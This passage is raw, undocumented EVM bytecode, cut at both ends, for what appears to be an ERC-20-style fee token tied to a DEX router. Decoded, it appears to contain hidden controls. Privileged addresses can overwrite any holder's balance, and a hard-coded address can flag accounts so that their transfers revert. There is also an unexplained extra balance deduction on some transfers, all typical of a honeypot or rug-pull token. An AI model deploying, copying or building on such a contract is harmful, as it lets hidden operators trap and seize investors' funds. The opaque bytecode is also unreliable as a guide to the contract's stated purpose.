fffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d6000602060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555073101cba809db57d2dee1524e32960d820325813ca600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073101cba809db57d2dee1524e32960d820325813ca600460016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601b546006600062000bef62000cad60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555062000c3d62000cad60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef601b5460405162000c9e919062000ef6565b60405180910390a350620012ae565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600080828462000cef919062000f24565b90508381101562000d37576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000d2e9062000ed4565b60405180910390fd5b8091505092915050565b600062000d548262000d5b60201b60201c565b9050919050565b6000819050919050565b82805462000d7390620011c5565b90600052602060002090601f01602090048101928262000d97576000855562000de3565b82601f1062000db257805160ff191683800117855562000de3565b8280016001018555821562000de3579182015b8281111562000de257825182559160200191906001019062000dc5565b5b50905062000df2919062000df6565b5090565b5b8082111562000e1157600081600090555060010162000df7565b5090565b60008151905062000e268162001294565b92915050565b60006020828403121562000e455762000e4462001259565b5b600062000e558482850162000e15565b91505092915050565b62000e69816200117a565b82525050565b600062000e7e601b8362000f13565b915062000e8b826200126b565b602082019050919050565b62000ea181620011ae565b82525050565b600060408201905062000ebe600083018562000e5e565b62000ecd602083018462000e5e565b9392505050565b6000602082019050818103600083015262000eef8162000e6f565b9050919050565b600060208201905062000f0d600083018462000e96565b92915050565b600082825260208201905092915050565b600062000f3182620011ae565b915062000f3e83620011ae565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000f765762000f75620011fb565b5b828201905092915050565b6000808291508390505b600185111562000fd35780860481111562000fab5762000faa620011fb565b5b600185161562000fbb5780820291505b808102905062000fcb856200125e565b945062000f8b565b94509492505050565b600062000fe982620011ae565b915062000ff683620011b8565b9250620010257fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200102d565b905092915050565b6000826200103f576001905062001112565b816200104f576000905062001112565b81600181146200106857600281146200107357620010a9565b600191505062001112565b60ff841115620010885762001087620011fb565b5b8360020a915084821115620010a257620010a1620011fb565b5b5062001112565b5060208310610133831016604e8410600b8410161715620010e35782820a905083811115620010dd57620010dc620011fb565b5b62001112565b620010f2848484600162000f81565b925090508184048111156200110c576200110b620011fb565b5b81810290505b9392505050565b60006200112682620011ae565b91506200113383620011ae565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156200116f576200116e620011fb565b5b828202905092915050565b600062001187826200118e565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006002820490506001821680620011de57607f821691505b60208210811415620011f557620011f46200122a565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b60008160011c9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6200129f816200117a565b8114620012ab57600080fd5b50565b60805160601c614bb1620012d46000396000818161119201526111be0152614bb16000f3fe6080604052600436106103905760003560e01c8063807c2d9c116101dc578063c49b9a8011610102578063dc44b6a0116100a0578063f2514e881161006f578063f2514e8814610da7578063f2fde38b14610de4578063f872858a14610e0d578063f985622d14610e3857610397565b8063dc44b6a014610ceb578063dd62ed3e14610d16578063f0cd1dac14610d53578063f1d5f51714610d7e57610397565b8063c8607952116100dc578063c860795214610c2d578063c867d60b14610c58578063cab0347114610c95578063da00097d14610cc057610397565b8063c49b9a8014610bae578063c5d2418914610bd7578063c816841b14610c0257610397565b8063a073d37f1161017a578063a83f53a711610149578063a83f53a714610af2578063a9059cbb14610b1d578063c2d4640e14610b5a578063c469b6dd14610b8357610397565b8063a073d37f14610a36578063a08e671f14610a61578063a457c2d714610a8c578063a5d69d1f14610ac957610397565b80638b42507f116101b65780638b42507f1461097a5780638da5cb5b146109b75780639174c79d146109e257806395d89b4114610a0b57610397565b8063807c2d9c146108f957806382eefb431461092457806388790a681461094f57610397565b80633b646444116102c15780635881f3ef1161025f57806370a082311161022e57806370a082311461083f57806371d03f581461087c57806377f31d03146108a55780637d1db4a5146108ce57610397565b80635881f3ef1461078557806360efb94f146107c257806361a23c69146107eb5780636249faf11461081657610397565b806340b8000a1161029b57806340b8000a146106c757806342efd370146106f25780634a74bb021461072f57806357a5802f1461075a57610397565b80633b646444146106245780633b97084a146106615780633ecad2711461068a57610397565b80632563ae831161032e5780632c4b2334116103085780632c4b23341461056a578063313ce5671461059357806335d23615146105be57806339509351146105e757610397565b80632563ae83146104eb57806327c8f835146105145780632b112e491461053f57610397565b80631245e3471161036a5780631245e3471461042d5780631694505e1461045857806318160ddd1461048357806323b872dd146104ae57610397565b806301c6adc31461039c57806306fdde03146103c5578063095ea7b3146103f057610397565b3661039757005b600080fd5b3480156103a857600080fd5b506103c360048036038101906103be9190613e2a565b610e63565b005b3480156103d157600080fd5b506103da610efe565b6040516103e791906142ff565b60405180910390f35b3480156103fc57600080fd5b5061041760048036038101906104129190613e2a565b610f90565b60405161042491906142c9565b60405180910390f35b34801561043957600080fd5b50610442610fae565b60405161044f9190614224565b60405180910390f35b34801561046457600080fd5b5061046d610fd4565b60405161047a91906142e4565b60405180910390f35b34801561048f57600080fd5b50610498610ffa565b6040516104a59190614421565b60405180910390f35b3480156104ba57600080fd5b506104d560048036038101906104d09190613dd7565b611004565b6040516104e291906142c9565b60405180910390f35b3480156104f757600080fd5b50610512600480360381019061050d9190613eca565b6110de565b005b34801561052057600080fd5b50610529611190565b6040516105369190614209565b60405180910390f35b34801561054b57600080fd5b506105546111b4565b6040516105619190614421565b60405180910390f35b34801561057657600080fd5b50610591600480360381019061058c9190613d3d565b6111f8565b005b34801561059f57600080fd5b506105a86112d1565b6040516105b591906144c6565b60405180910390f35b3480156105ca57600080fd5b506105e560048036038101906105e09190613d3d565b6112e8565b005b3480156105f357600080fd5b5061060e60048036038101906106099190613e2a565b6113c1565b60405161061b91906142c9565b60405180910390f35b34801561063057600080fd5b5061064b60048036038101906106469190613d3d565b611474565b60405161065891906142c9565b60405180910390f35b34801561066d57600080fd5b5061068860048036038101906106839190613ef7565b611494565b005b34801561069657600080fd5b506106b160048036038101906106ac9190613d3d565b611533565b6040516106be91906142c9565b60405180910390f35b3480156106d357600080fd5b506106dc611553565b6040516106e99190614224565b60405180910390f35b3480156106fe57600080fd5b5061071960048036038101906107149190613d3d565b611579565b60405161072691906142c9565b60405180910390f35b34801561073b57600080fd5b50610744611599565b60405161075191906142c9565b60405180910390f35b34801561076657600080fd5b5061076f6115ac565b60405161077c9190614421565b60405180910390f35b34801561079157600080fd5b506107ac60048036038101906107a79190613d3d565b6115b2565b6040516107b99190614209565b60405180910390f35b3480156107ce57600080fd5b506107e960048036038101906107e49190613f24565b611b10565b005b3480156107f757600080fd5b50610800611bf0565b60405161080d9190614421565b60405180910390f35b34801561082257600080fd5b5061083d60048036038101906108389190613e6a565b611bf6565b005b34801561084b57600080fd5b5061086660048036038101906108619190613d3d565b611d30565b6040516108739190614421565b60405180910390f35b34801561088857600080fd5b506108a3600480360381019061089e9190613e6a565b611d79565b005b3480156108b157600080fd5b506108cc60048036038101906108c79190613e6a565b611e75565b005b3480156108da57600080fd5b506108e3611faf565b6040516108f09190614421565b60405180910390f35b34801561090557600080fd5b5061090e611fb5565b60405161091b9190614421565b60405180910390f35b34801561093057600080fd5b50610939611fbb565b6040516109469190614421565b60405180910390f35b34801561095b57600080fd5b50610964611fc1565b6040516109719190614421565b60405180910390f35b34801561098657600080fd5b506109a1600480360381019061099c9190613d3d565b611fc7565b6040516109ae91906142c9565b60405180910390f35b3480156109c357600080fd5b506109cc611fe7565b6040516109d99190614209565b60405180910390f35b3480156109ee57600080fd5b50610a096004803603810190610a049190613f24565b612010565b005b348015610a1757600080fd5b50610a206120f0565b604051610a2d91906142ff565b60405180910390f35b348015610a4257600080fd5b50610a4b612182565b604051610a589190614421565b60405180910390f35b348015610a6d57600080fd5b50610a7661218c565b604051610a839190614421565b60405180910390f35b348015610a9857600080fd5b50610ab36004803603810190610aae9190613e2a565b612192565b604051610ac091906142c9565b60405180910390f35b348015610ad557600080fd5b50610af06004803603810190610aeb9190613eca565b61225f565b005b348015610afe57600080fd5b50610b07612311565b604051610b149190614421565b60405180910390f35b348015610b2957600080fd5b50610b446004803603810190610b3f9190613e2a565b612317565b604051610b5191906142c9565b60405180910390f35b348015610b6657600080fd5b50610b816004803603810190610b7c9190613f24565b612336565b005b348015610b8f57600080fd5b50610b98612416565b604051610ba59190614421565b60405180910390f35b348015610bba57600080fd5b50610bd56004803603810190610bd09190613eca565b61241c565b005b348015610be357600080fd5b50610bec612505565b604051610bf99190614421565b60405180910390f35b348015610c0e57600080fd5b50610c1761250b565b604051610c249190614209565b60405180910390f35b348015610c3957600080fd5b50610c42612531565b604051610c4f9190614421565b60405180910390f35b348015610c6457600080fd5b50610c7f6004803603810190610c7a9190613d3d565b612537565b604051610c8c91906142c9565b60405180910390f35b348015610ca157600080fd5b50610caa612557565b604051610cb79190614421565b60405180910390f35b348015610ccc57600080fd5b50610cd561255d565b604051610ce291906142c9565b60405180910390f35b348015610cf757600080fd5b50610d00612570565b604051610d0d9190614421565b60405180910390f35b348015610d2257600080fd5b50610d3d6004803603810190610d389190613d97565b612576565b604051610d4a9190614421565b60405180910390f35b348015610d5f57600080fd5b50610d686125fd565b604051610d759190614421565b60405180910390f35b348015610d8a57600080fd5b50610da56004803603810190610da09190613ef7565b612603565b005b348015610db357600080fd5b50610dce6004803603810190610dc99190613d3d565b6126a2565b604051610ddb91906142c9565b60405180910390f35b348015610df057600080fd5b50610e0b6004803603810190610e069190613d3d565b6126c2565b005b348015610e1957600080fd5b50610e22612814565b604051610e2f91906142c9565b60405180910390f35b348015610e4457600080fd5b50610e4d612827565b604051610e5a9190614421565b60405180910390f35b600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610efa5780600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050565b606060028054610f0d9061472d565b80601f0160208091040260200160405190810160405280929190818152602001828054610f399061472d565b8015610f865780601f10610f5b57610100808354040283529160200191610f86565b820191906000526020600020905b815481529060010190602001808311610f6957829003601f168201915b5050505050905090565b6000610fa4610f9d61288b565b8484612893565b6001905092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601b54905090565b6000611011848484612a5e565b506110d38461101e61288b565b6110ce85604051806060016040528060288152602001614b2f60289139600760008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061108461288b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130949092919063ffffffff16565b612893565b600190509392505050565b6110e661288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611173576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116a906143c1565b60405180910390fd5b80602060176101000a81548160ff02191690831515021790555050565b7f000000000000000000000000000000000000000000000000000000000000000081565b60006111f36111e27f0000000000000000000000000000000000000000000000000000000000000000611d30565b601b546130f890919063ffffffff16565b905090565b61120061288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461128d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611284906143c1565b60405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600460009054906101000a900460ff16905090565b6112f061288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461137d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611374906143c1565b60405180910390fd5b80600460016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600061146a6113ce61288b565b8461146585600760006113df61288b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461282d90919063ffffffff16565b612893565b6001905092915050565b600e6020528060005260406000206000915054906101000a900460ff1681565b61149c61288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611529576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611520906143c1565b60405180910390fd5b80601e8190555050565b600c6020528060005260406000206000915054906101000a900460ff1681565b600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d6020528060005260406000206000915054906101000a900460ff1681565b602060159054906101000a900460ff1681565b60155481565b60006115bc61288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611649576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611640906143c1565b60405180910390fd5b60008290508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561169457600080fd5b505afa1580156116a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116cc9190613d6a565b73ffffffffffffffffffffffffffffffffffffffff1663e6a43905308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561172e57600080fd5b505afa158015611742573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117669190613d6a565b6040518363ffffffff1660e01b815260040161178392919061423f565b60206040518083038186803b15801561179b57600080fd5b505afa1580156117af573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117d39190613d6a565b9150600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611994578073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561185057600080fd5b505afa158015611864573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118889190613d6a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156118ea57600080fd5b505afa1580156118fe573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119229190613d6a565b6040518363ffffffff1660e01b815260040161193f92919061423f565b602060405180830381600087803b15801561195957600080fd5b505af115801561196d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119919190613d6a565b91505b81602060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160096000602060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d6000602060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050919050565b611b1861288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611ba5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b9c906143c1565b60405180910390fd5b82600f819055508160108190555080601181905550611be5601154611bd7601054600f5461282d90919063ffffffff16565b61282d90919063ffffffff16565b601881905550505050565b60165481565b611bfe61288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611c8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c82906143c1565b60405180910390fd5b60005b83839050811015611d2a578160096000868685818110611cb157611cb0614835565b5b9050602002016020810190611cc69190613d3d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611d229061475f565b915050611c8e565b50505050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff16600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611e705760005b83839050811015611e6e5781600e6000868685818110611df557611df4614835565b5b9050602002016020810190611e0a9190613d3d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611e669061475f565b915050611dd2565b505b505050565b611e7d61288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611f0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f01906143c1565b60405180910390fd5b60005b83839050811015611fa9578160086000868685818110611f3057611f2f614835565b5b9050602002016020810190611f459190613d3d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611fa19061475f565b915050611f0d565b50505050565b601c5481565b601d5481565b60195481565b60125481565b600b6020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61201861288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146120a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161209c906143c1565b60405180910390fd5b8260128190555081601381905550806014819055506120e56014546120d760135460125461282d90919063ffffffff16565b61282d90919063ffffffff16565b601981905550505050565b6060600380546120ff9061472d565b80601f016020809104026020016040519081016040528092919081815260200182805461212b9061472d565b80156121785780601f1061214d57610100808354040283529160200191612178565b820191906000526020600020905b81548152906001019060200180831161215b57829003601f168201915b5050505050905090565b6000601e54905090565b601a5481565b600061225561219f61288b565b8461225085604051806060016040528060258152602001614b5760259139600760006121c961288b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130949092919063ffffffff16565b612893565b6001905092915050565b61226761288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146122f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122eb906143c1565b60405180910390fd5b80602060166101000a81548160ff02191690831515021790555050565b60175481565b600061232b61232461288b565b8484612a5e565b506001905092915050565b61233e61288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146123cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123c2906143c1565b60405180910390fd5b82601581905550816016819055508060178190555061240b6017546123fd60165460155461282d90919063ffffffff16565b61282d90919063ffffffff16565b601a81905550505050565b60115481565b61242461288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146124b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124a8906143c1565b60405180910390fd5b80602060156101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc159816040516124fa91906142c9565b60405180910390a150565b60105481565b602060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60135481565b60096020528060005260406000206000915054906101000a900460ff1681565b60145481565b602060169054906101000a900460ff1681565b600f5481565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60185481565b61260b61288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612698576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161268f906143c1565b60405180910390fd5b80601d8190555050565b60086020528060005260406000206000915054906101000a900460ff1681565b6126ca61288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612757576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161274e906143c1565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b602060179054906101000a900460ff1681565b60015481565b600080828461283c9190614536565b905083811015612881576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161287890614361565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612903576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128fa90614401565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612973576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161296a90614341565b60405180910390fd5b80600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051612a519190614421565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612acf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ac6906143e1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612b3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b3690614321565b60405180910390fd5b602060149054906101000a900460ff1615612b6657612b5f848484613142565b905061308d565b600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612c0a5750600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612c5557601c54821115612c54576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c4b90614381565b60405180910390fd5b5b6000612c6030611d30565b90506000601e548210159050808015612c865750602060149054906101000a900460ff16155b8015612cdc5750600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015612cf45750602060159054906101000a900460ff165b15612d1e57602060169054906101000a900460ff1615612d1457601e5491505b612d1d82613315565b5b612d2786613506565b15612dc257612d7e84600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130f890919063ffffffff16565b600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612e655750600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612e7957612e74878787613549565b612e7b565b845b9050602060179054906101000a900460ff168015612ee35750600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612f1257601d54612f0682612ef889611d30565b61282d90919063ffffffff16565b1115612f1157600080fd5b5b600080612f1d575060015b15612f8b57600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612f8a5760018015612f80575060005b612f8957600080fd5b5b5b612fdd81600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461282d90919063ffffffff16565b600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161307d9190614421565b60405180910390a3600193505050505b9392505050565b60008383111582906130dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016130d391906142ff565b60405180910390fd5b50600083856130eb9190614617565b9050809150509392505050565b600061313a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250613094565b905092915050565b60006131cd826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130949092919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061326282600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461282d90919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516133029190614421565b60405180910390a3600190509392505050565b6001602060146101000a81548160ff021916908315150217905550600061336e6002613360601a546133526015548761377090919063ffffffff16565b6137eb90919063ffffffff16565b6137eb90919063ffffffff16565b9050600061338582846130f890919063ffffffff16565b905061339081613835565b600047905060006133c16133b060026015546137eb90919063ffffffff16565b601a546130f890919063ffffffff16565b905060006133ff60026133f1846133e36015548861377090919063ffffffff16565b6137eb90919063ffffffff16565b6137eb90919063ffffffff16565b9050600061342a8361341c6017548761377090919063ffffffff16565b6137eb90919063ffffffff16565b905060006134538261344585886130f890919063ffffffff16565b6130f890919063ffffffff16565b9050600081111561348b5761348a600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682613ac0565b5b60008211156134c1576134c0600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683613ac0565b5b6000831180156134d15750600087115b156134e1576134e08784613b0b565b5b505050505050506000602060146101000a81548160ff02191690831515021790555050565b60008173ffffffffffffffffffffffffffffffffffffffff1661352a600154613bff565b73ffffffffffffffffffffffffffffffffffffffff1614159050919050565b60008060009050600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156135d1576135ca60646135bc6018548661377090919063ffffffff16565b6137eb90919063ffffffff16565b905061364f565b600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561364e5761364b606461363d6019548661377090919063ffffffff16565b6137eb90919063ffffffff16565b90505b5b6000811115613753576136aa81600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461282d90919063ffffffff16565b600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffff